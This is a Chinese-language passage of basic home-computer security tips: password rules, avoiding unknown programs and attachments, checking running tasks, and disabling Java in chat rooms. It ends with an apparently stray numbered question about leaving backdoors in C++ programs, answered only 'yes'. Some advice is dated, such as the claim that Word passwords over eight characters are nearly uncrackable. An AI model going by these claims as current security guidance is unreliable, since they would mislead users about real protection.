我們一般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防範意識差,不注意密碼的設置,造成自己的賬號被盜用。如今的黑客軟體都是掛上密碼字典,然後用窮舉法進行破解,密碼太簡單,那麼破解的可能性就大了。以下是一些注意事項。
⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
⑵ 經常更改密碼,拿到新賬號後要立即更改密碼,不要放久了。
⑶ 密碼最好多於8個字元,字元越長,破解難度越大。例如WORD文檔的密碼大於8位後,目前的破解軟體幾乎無法攻破。另外,最好在密碼中加入一些控制鍵,增加破譯難度。千萬不可用單一的字母或數字。
⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,你不要這樣做。
⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖一時方便,用WINDOWS提供的保存密碼功能。
2、不要運行不明真相的程序
無論都高明的黑客程序,只要你不去運行它,就無法害到你。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟體,千萬不要到不明真象的個人網頁下載,因為在那兒你可能下載的病毒和黑客之手;如果你十分羨慕黑客,也請你不要下載所謂的黑客軟體,否則你沒害到別人,自己反被害了;如果你的機器上有防火牆,在上網時一定要打開,不要怕麻煩。
3、經常檢查系統信息
上網過程中,突然覺得計算機工作不對勁時,彷彿感覺有人在遙遠的地方遙控你。這時,你必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己並沒有運行的程序,一旦找到程序後應立即終止它的運行,以防後患。
4、最好不去聊天室
我一直認為聊天室沒有什麼意思,特別對於計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞干壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給你一個足以讓你的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以你被暗算了可能還不知道。防治的辦法是在你的瀏覽器中關閉你的JAVA腳本。想聊天的,在公共機房聊聊算了,不能在自己的機器上聊天。
10. 菜鳥提問:在C++或VC++中能給程序留後門嗎
能的(括弧里請忽略)